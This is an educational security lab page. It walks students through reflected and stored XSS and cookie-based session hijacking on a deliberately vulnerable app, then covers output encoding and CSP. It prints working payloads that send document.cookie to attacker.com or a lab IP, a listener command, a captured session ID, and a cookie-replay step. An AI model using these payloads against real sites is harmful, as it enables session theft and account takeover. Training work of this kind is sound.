Skip to main content

Lab 6.3: XSS and Session Hijacking

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand Cross-Site Scripting (XSS) attacks
  • Differentiate Reflected, Stored, and DOM-based XSS
  • Inject malicious JavaScript into a web application
  • Steal session cookies
  • Perform a session hijacking attack
  • Log in as another user without knowing their password
  • Detect XSS vulnerabilities in code
  • Implement protections (output encoding, CSP)

Estimated Duration​

35 minutes

Prerequisites​

  • Vulnerable web application (DVWA or provided application)
  • Local web server (XAMPP/WAMP)
  • Web browser
  • Basic understanding of HTML and JavaScript
  • Lab 6.2 (SQL Injection) completed

Professional Context​

XSS is ranked in the OWASP Top 10. It allows:

  • Theft of cookies and sessions
  • Website defacement
  • Redirection to malicious sites
  • Client-side keylogging
  • Theft of sensitive information

Real cases:

  • Twitter (2010): Self-propagating XSS worm
  • eBay (2014): Persistent XSS
  • British Airways (2018): Skimming via XSS

XSS allows stealing user sessions and executing malicious code in victims' browsers.

ALLOWED:

  • Lab applications
  • Authorized bug bounty
  • Tests with permission

PROHIBITED:

  • Real sites without authorization
  • Theft of others' sessions
  • Website defacement

Part 1: Reflected XSS​

Basic Test​

In a search field or URL:

<script>alert('XSS')</script>

If a popup appears: Vulnerable!

Explanation: The JavaScript is executed in the victim's browser.

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Cookie sent to the attacker's server!

Part 2: Stored XSS (More Dangerous)​

Injection in Comments​

In a comment field:

<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

Saved in the database!

Every visitor who sees the comment:

  • JavaScript executed
  • Cookie automatically stolen
  • Session compromised

Part 3: Session Hijacking​

XSS payload:

<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

On attacker VM, listen:

python3 -m http.server 8000

When victim visits the page:

192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -

Captured cookie: PHPSESSID=abc123xyz456

With "EditThisCookie" extension or developer console:

document.cookie = "PHPSESSID=abc123xyz456";
location.reload();

Refresh the page:

BOOM! Logged in as the victim WITHOUT password!

Part 4: Protection​

Vulnerable Code​

echo "Hello " . $_GET['name'];

Secured Code​

echo "Hello " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

htmlspecialchars: Converts < to &lt;, blocks execution!

Content Security Policy (CSP)​

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Blocks all inline JavaScript!

Deliverables​

  1. Report with screenshots of functional XSS
  2. Stolen cookie and successful session hijacking
  3. Vulnerable vs secured code
  4. Protection recommendations

Lab developed as part of the Operating Systems course - MODULE 6